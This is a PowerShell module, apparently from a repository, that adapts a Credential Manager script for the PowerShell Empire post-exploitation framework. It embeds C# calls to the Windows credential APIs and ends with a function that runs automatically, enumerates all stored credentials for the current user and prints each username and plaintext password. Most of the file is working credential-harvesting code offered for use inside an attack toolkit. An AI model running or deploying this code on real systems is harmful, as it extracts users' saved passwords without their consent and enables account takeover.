Files
2016-07-08 08:59:13 -05:00

408 lines
14 KiB
PowerShell

<#
This modules is a modified and stripped down version of CredMan.ps1, written by "JimmyJoeBob Alooba". A link to
the original script can be found below.
BeetleChunks has modified and stripped this script to work in Powershell Empire.
Original Script: https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
#>
[String] $PsCredmanUtils = @"
using System;
using System.Runtime.InteropServices;
namespace PsUtils
{
public class CredMan
{
#region Imports
// DllImport derives from System.Runtime.InteropServices
[DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredDeleteW", CharSet = CharSet.Unicode)]
private static extern bool CredDeleteW([In] string target, [In] CRED_TYPE type, [In] int reservedFlag);
[DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredEnumerateW", CharSet = CharSet.Unicode)]
private static extern bool CredEnumerateW([In] string Filter, [In] int Flags, out int Count, out IntPtr CredentialPtr);
[DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredFree")]
private static extern void CredFree([In] IntPtr cred);
[DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredReadW", CharSet = CharSet.Unicode)]
private static extern bool CredReadW([In] string target, [In] CRED_TYPE type, [In] int reservedFlag, out IntPtr CredentialPtr);
[DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredWriteW", CharSet = CharSet.Unicode)]
private static extern bool CredWriteW([In] ref Credential userCredential, [In] UInt32 flags);
#endregion
#region Fields
public enum CRED_FLAGS : uint
{
NONE = 0x0,
PROMPT_NOW = 0x2,
USERNAME_TARGET = 0x4
}
public enum CRED_ERRORS : uint
{
ERROR_SUCCESS = 0x0,
ERROR_INVALID_PARAMETER = 0x80070057,
ERROR_INVALID_FLAGS = 0x800703EC,
ERROR_NOT_FOUND = 0x80070490,
ERROR_NO_SUCH_LOGON_SESSION = 0x80070520,
ERROR_BAD_USERNAME = 0x8007089A
}
public enum CRED_PERSIST : uint
{
SESSION = 1,
LOCAL_MACHINE = 2,
ENTERPRISE = 3
}
public enum CRED_TYPE : uint
{
GENERIC = 1,
DOMAIN_PASSWORD = 2,
DOMAIN_CERTIFICATE = 3,
DOMAIN_VISIBLE_PASSWORD = 4,
GENERIC_CERTIFICATE = 5,
DOMAIN_EXTENDED = 6,
MAXIMUM = 7, // Maximum supported cred type
MAXIMUM_EX = (MAXIMUM + 1000), // Allow new applications to run on old OSes
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct Credential
{
public CRED_FLAGS Flags;
public CRED_TYPE Type;
public string TargetName;
public string Comment;
public DateTime LastWritten;
public UInt32 CredentialBlobSize;
public string CredentialBlob;
public CRED_PERSIST Persist;
public UInt32 AttributeCount;
public IntPtr Attributes;
public string TargetAlias;
public string UserName;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct NativeCredential
{
public CRED_FLAGS Flags;
public CRED_TYPE Type;
public IntPtr TargetName;
public IntPtr Comment;
public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten;
public UInt32 CredentialBlobSize;
public IntPtr CredentialBlob;
public UInt32 Persist;
public UInt32 AttributeCount;
public IntPtr Attributes;
public IntPtr TargetAlias;
public IntPtr UserName;
}
#endregion
#region Child Class
private class CriticalCredentialHandle : Microsoft.Win32.SafeHandles.CriticalHandleZeroOrMinusOneIsInvalid
{
public CriticalCredentialHandle(IntPtr preexistingHandle)
{
SetHandle(preexistingHandle);
}
private Credential XlateNativeCred(IntPtr pCred)
{
NativeCredential ncred = (NativeCredential)Marshal.PtrToStructure(pCred, typeof(NativeCredential));
Credential cred = new Credential();
cred.Type = ncred.Type;
cred.Flags = ncred.Flags;
cred.Persist = (CRED_PERSIST)ncred.Persist;
long LastWritten = ncred.LastWritten.dwHighDateTime;
LastWritten = (LastWritten << 32) + ncred.LastWritten.dwLowDateTime;
cred.LastWritten = DateTime.FromFileTime(LastWritten);
cred.UserName = Marshal.PtrToStringUni(ncred.UserName);
cred.TargetName = Marshal.PtrToStringUni(ncred.TargetName);
cred.TargetAlias = Marshal.PtrToStringUni(ncred.TargetAlias);
cred.Comment = Marshal.PtrToStringUni(ncred.Comment);
cred.CredentialBlobSize = ncred.CredentialBlobSize;
if (0 < ncred.CredentialBlobSize)
{
cred.CredentialBlob = Marshal.PtrToStringUni(ncred.CredentialBlob, (int)ncred.CredentialBlobSize / 2);
}
return cred;
}
public Credential GetCredential()
{
if (IsInvalid)
{
throw new InvalidOperationException("Invalid CriticalHandle!");
}
Credential cred = XlateNativeCred(handle);
return cred;
}
public Credential[] GetCredentials(int count)
{
if (IsInvalid)
{
throw new InvalidOperationException("Invalid CriticalHandle!");
}
Credential[] Credentials = new Credential[count];
IntPtr pTemp = IntPtr.Zero;
for (int inx = 0; inx < count; inx++)
{
pTemp = Marshal.ReadIntPtr(handle, inx * IntPtr.Size);
Credential cred = XlateNativeCred(pTemp);
Credentials[inx] = cred;
}
return Credentials;
}
override protected bool ReleaseHandle()
{
if (IsInvalid)
{
return false;
}
CredFree(handle);
SetHandleAsInvalid();
return true;
}
}
#endregion
#region Custom API
public static int CredDelete(string target, CRED_TYPE type)
{
if (!CredDeleteW(target, type, 0))
{
return Marshal.GetHRForLastWin32Error();
}
return 0;
}
public static int CredEnum(string Filter, out Credential[] Credentials)
{
int count = 0;
int Flags = 0x0;
if (string.IsNullOrEmpty(Filter) ||
"*" == Filter)
{
Filter = null;
if (6 <= Environment.OSVersion.Version.Major)
{
Flags = 0x1; //CRED_ENUMERATE_ALL_CREDENTIALS; only valid is OS >= Vista
}
}
IntPtr pCredentials = IntPtr.Zero;
if (!CredEnumerateW(Filter, Flags, out count, out pCredentials))
{
Credentials = null;
return Marshal.GetHRForLastWin32Error();
}
CriticalCredentialHandle CredHandle = new CriticalCredentialHandle(pCredentials);
Credentials = CredHandle.GetCredentials(count);
return 0;
}
public static int CredRead(string target, CRED_TYPE type, out Credential Credential)
{
IntPtr pCredential = IntPtr.Zero;
Credential = new Credential();
if (!CredReadW(target, type, 0, out pCredential))
{
return Marshal.GetHRForLastWin32Error();
}
CriticalCredentialHandle CredHandle = new CriticalCredentialHandle(pCredential);
Credential = CredHandle.GetCredential();
return 0;
}
public static int CredWrite(Credential userCredential)
{
if (!CredWriteW(ref userCredential, 0))
{
return Marshal.GetHRForLastWin32Error();
}
return 0;
}
#endregion
private static int AddCred()
{
Credential Cred = new Credential();
string Password = "Password";
Cred.Flags = 0;
Cred.Type = CRED_TYPE.GENERIC;
Cred.TargetName = "Target";
Cred.UserName = "UserName";
Cred.AttributeCount = 0;
Cred.Persist = CRED_PERSIST.ENTERPRISE;
Cred.CredentialBlobSize = (uint)Password.Length;
Cred.CredentialBlob = Password;
Cred.Comment = "Comment";
return CredWrite(Cred);
}
private static bool CheckError(string TestName, CRED_ERRORS Rtn)
{
switch(Rtn)
{
case CRED_ERRORS.ERROR_SUCCESS:
Console.WriteLine(string.Format("'{0}' worked", TestName));
return true;
case CRED_ERRORS.ERROR_INVALID_FLAGS:
case CRED_ERRORS.ERROR_INVALID_PARAMETER:
case CRED_ERRORS.ERROR_NO_SUCH_LOGON_SESSION:
case CRED_ERRORS.ERROR_NOT_FOUND:
case CRED_ERRORS.ERROR_BAD_USERNAME:
Console.WriteLine(string.Format("'{0}' failed; {1}.", TestName, Rtn));
break;
default:
Console.WriteLine(string.Format("'{0}' failed; 0x{1}.", TestName, Rtn.ToString("X")));
break;
}
return false;
}
/*
* Note: the Main() function is primarily for debugging and testing in a Visual
* Studio session. Although it will work from PowerShell, it's not very useful.
*/
public static void Main()
{
Credential[] Creds = null;
Credential Cred = new Credential();
int Rtn = 0;
Console.WriteLine("Testing CredWrite()");
Rtn = AddCred();
if (!CheckError("CredWrite", (CRED_ERRORS)Rtn))
{
return;
}
Console.WriteLine("Testing CredEnum()");
Rtn = CredEnum(null, out Creds);
if (!CheckError("CredEnum", (CRED_ERRORS)Rtn))
{
return;
}
Console.WriteLine("Testing CredRead()");
Rtn = CredRead("Target", CRED_TYPE.GENERIC, out Cred);
if (!CheckError("CredRead", (CRED_ERRORS)Rtn))
{
return;
}
Console.WriteLine("Testing CredDelete()");
Rtn = CredDelete("Target", CRED_TYPE.GENERIC);
if (!CheckError("CredDelete", (CRED_ERRORS)Rtn))
{
return;
}
Console.WriteLine("Testing CredRead() again");
Rtn = CredRead("Target", CRED_TYPE.GENERIC, out Cred);
if (!CheckError("CredRead", (CRED_ERRORS)Rtn))
{
Console.WriteLine("if the error is 'ERROR_NOT_FOUND', this result is OK.");
}
}
}
}
"@
#endregion
$PsCredMan = $null
try
{
$PsCredMan = [PsUtils.CredMan]
}
catch
{
#only remove the error we generate
$Error.RemoveAt($Error.Count-1)
}
if($null -eq $PsCredMan)
{
Add-Type $PsCredmanUtils
}
#endregion
[HashTable] $ErrorCategory = @{0x80070057 = "InvalidArgument";
0x800703EC = "InvalidData";
0x80070490 = "ObjectNotFound";
0x80070520 = "SecurityError";
0x8007089A = "SecurityError"}
function Enum-Creds
{
Param
(
[Parameter(Mandatory=$false)][AllowEmptyString()][String] $Filter = [String]::Empty
)
[PsUtils.CredMan+Credential[]] $Creds = [Array]::CreateInstance([PsUtils.CredMan+Credential], 0)
[Int] $Results = 0
try
{
$Results = [PsUtils.CredMan]::CredEnum($Filter, [Ref]$Creds)
}
catch
{
return $_
}
switch($Results)
{
0 {break}
0x80070490 {break} #ERROR_NOT_FOUND
default
{
[String] $Msg = "Failed to enumerate credentials store for user '$Env:UserName'"
[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
return $ErrRcd
}
}
return $Creds
}
function CredManMain
{
# may be [PsUtils.CredMan+Credential[]] or [Management.Automation.ErrorRecord]
$OFS = "`r`n"
[Object] $Creds = Enum-Creds
if($Creds -split [Array] -and 0 -eq $Creds.Length)
{
Write-Output "No Credentials found for $($Env:UserName)"
return
}
if($Creds -is [Management.Automation.ErrorRecord])
{
return $Creds
}
Write-Output "+-----------+--------------------------+`n"
foreach($Cred in $Creds)
{
[String] $CredStr = @"
| UserName | $($Cred.UserName)
| Password | $($Cred.CredentialBlob)
| Target | $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1))
| Updated | $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC
| Comment | $($Cred.Comment+$OFS)
"@
$CredStrArry += $CredStr
Write-Output $CredStr
Write-Output "+-----------+--------------------------+`n"
}
return
}
CredManMain